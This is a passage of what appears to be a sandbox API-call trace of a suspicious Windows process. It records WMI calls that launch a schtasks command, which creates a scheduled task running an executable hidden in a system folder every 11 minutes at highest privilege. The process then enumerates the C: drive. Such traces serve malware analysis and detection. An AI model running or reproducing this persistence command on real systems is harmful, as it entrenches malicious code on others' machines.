riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0155.888] WbemDefPath:IUnknown:AddRef (This=0x1aa0a590) returned 0x3 [0155.888] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a590, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0155.888] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a590, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0155.888] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a590, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bba66d0) returned 0x0 [0155.888] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bba66d0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0155.888] WbemDefPath:IUnknown:Release (This=0x1bba66d0) returned 0x3 [0155.888] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0155.888] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0155.888] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a590, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0155.888] WbemDefPath:IUnknown:Release (This=0x1aa0a590) returned 0x2 [0155.888] WbemDefPath:IUnknown:Release (This=0x1aa0a590) returned 0x1 [0155.888] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0155.888] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0155.888] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a590, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1aa0a590) returned 0x0 [0155.888] WbemDefPath:IUnknown:AddRef (This=0x1aa0a590) returned 0x3 [0155.888] WbemDefPath:IUnknown:Release (This=0x1aa0a590) returned 0x2 [0155.888] WbemDefPath:IWbemPath:SetText (This=0x1aa0a590, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0155.888] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a650, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0155.888] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a590, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0155.889] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a590, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0155.889] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a590, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0155.889] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1aa0a650) returned 0x0 [0155.889] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a590, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0155.889] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0a590, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0155.889] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0a590, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0155.889] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1aa0a650, uIndex=0x0, pszName="root") returned 0x0 [0155.889] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0a590, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0155.889] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0a590, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0155.889] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1aa0a650, uIndex=0x1, pszName="cimv2") returned 0x0 [0155.889] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0a590, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0155.889] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0a590, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0155.889] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0a650, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0155.889] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0a650, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0155.889] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0a650, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0155.889] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0aad0, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0155.889] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0aad0, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0155.889] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0aad0, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0155.889] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0aad0, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0155.889] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0aad0, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0155.889] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0aad0, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0155.889] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a650, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0155.889] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a650, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0155.889] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a650, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0155.890] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a650, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0155.890] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a650, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0155.890] IWbemServices:GetObject (in: This=0x1bbda2e0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1bbb4db0, ppCallResult=0x0) returned 0x0 [0155.919] IWbemClassObject:GetMethod (in: This=0x1bbb4db0, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1bbb5120, ppOutSignature=0x1bb7e690*=0x1bbb5490) returned 0x0 [0155.919] IWbemClassObject:SpawnInstance (in: This=0x1bbb5120, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1bbd4030) returned 0x0 [0155.920] IWbemClassObject:Get (in: This=0x1bbd4030, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286c4c8*=0, plFlavor=0x286c4cc*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286c4c8*=8, plFlavor=0x286c4cc*=32) returned 0x0 [0155.920] IWbemClassObject:Get (in: This=0x1bbd4030, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286c4c8*=8, plFlavor=0x286c4cc*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286c4c8*=8, plFlavor=0x286c4cc*=32) returned 0x0 [0155.920] IWbemClassObject:Put (This=0x1bbd4030, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"fposf\" /sc MINUTE /mo 11 /tr \"'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0155.920] IWbemClassObject:Get (in: This=0x1bbd4030, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286c558*=0, plFlavor=0x286c55c*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286c558*=13, plFlavor=0x286c55c*=32) returned 0x0 [0155.920] IWbemClassObject:Get (in: This=0x1bbd4030, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286c558*=13, plFlavor=0x286c55c*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286c558*=13, plFlavor=0x286c55c*=32) returned 0x0 [0155.921] IUnknown:QueryInterface (in: This=0x1bcf7220, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1bcf7220) returned 0x0 [0155.921] IUnknown:QueryInterface (in: This=0x1bcf7220, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0155.921] IUnknown:QueryInterface (in: This=0x1bcf7220, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0155.921] IUnknown:AddRef (This=0x1bcf7220) returned 0x3 [0155.921] IUnknown:QueryInterface (in: This=0x1bcf7220, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0155.921] IUnknown:QueryInterface (in: This=0x1bcf7220, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0155.921] IUnknown:QueryInterface (in: This=0x1bcf7220, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1bcf7228) returned 0x0 [0155.921] IMarshal:GetUnmarshalClass (in: This=0x1bcf7228, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0155.921] IUnknown:Release (This=0x1bcf7228) returned 0x3 [0155.921] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0155.922] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0155.922] IUnknown:QueryInterface (in: This=0x1bcf7220, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0155.922] IUnknown:Release (This=0x1bcf7220) returned 0x2 [0155.922] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0155.922] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0155.922] IUnknown:QueryInterface (in: This=0x1bcf7220, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0155.922] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0155.922] IUnknown:QueryInterface (in: This=0x1bcf7220, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0155.922] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0155.922] IUnknown:AddRef (This=0x1bcf7220) returned 0x3 [0155.922] IWbemClassObject:Put (This=0x1bbd4030, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bcf7220, varVal2=0x0), Type=0) returned 0x0 [0155.923] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0aa10, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0155.923] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0aa10, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0155.923] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0aa10, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0155.923] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0aad0, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0155.923] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0aad0, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0155.923] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0aad0, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0155.923] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0aa10, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0155.923] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0aa10, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0155.923] IWbemServices:ExecMethod (in: This=0x1bbda2e0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bbd4030, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1bbd42e0, ppCallResult=0x0) returned 0x0 [0156.208] IWbemClassObject:Get (in: This=0x1bbd42e0, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286c870*=0, plFlavor=0x286c874*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xcec, varVal2=0x0), pType=0x286c870*=19, plFlavor=0x286c874*=0) returned 0x0 [0156.208] IWbemClassObject:Get (in: This=0x1bbd42e0, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286c870*=19, plFlavor=0x286c874*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xcec, varVal2=0x0), pType=0x286c870*=19, plFlavor=0x286c874*=0) returned 0x0 [0156.209] CoTaskMemAlloc (cb=0x20c) returned 0x1a988070 [0156.209] GetSystemDirectoryW (in: lpBuffer=0x1a988070, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0156.209] CoTaskMemFree (pv=0x1a988070) [0156.210] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0156.210] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0156.210] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x1a9d84e0 [0156.211] FindNextFileW (in: hFindFile=0x1a9d84e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0156.211] FindNextFileW (in: hFindFile=0x1a9d84e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0156.211] FindNextFileW (in: hFindFile=0x1a9d84e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x95957a00, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95957a00, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95957a00, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0156.211] FindNextFileW (in: hFindFile=0x1a9d84e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd213bc0, ftCreationTime.dwHighDateTime=0x1d8a92a, ftLastAccessTime.dwLowDateTime=0x1889f2e0, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x1889f2e0, ftLastWriteTime.dwHighDateTime=0x1d8a92a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="comproviderRuntimecommon", cAlternateFileName="COMPRO~1")) returned 1 [0156.211] FindNextFileW (in: hFindFile=0x1a9d84e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0156.211] FindNextFileW (in: hFindFile=0x1a9d84e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa384ad20, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa384ad20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x617749e0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0156.211] FindNextFileW (in: hFindFile=0x1a9d84e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb883f1e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb883f1e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0156.211] FindNextFileW (in: hFindFile=0x1a9d84e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa37fea60, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa37fea60, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x61c838a0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0156.212] FindNextFileW (in: hFindFile=0x1a9d84e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0156.212] FindNextFileW (in: hFindFile=0x1a9d84e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f317170, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f317170, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0156.212] FindNextFileW (in: hFindFile=0x1a9d84e0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1434c8c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1434c8c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, 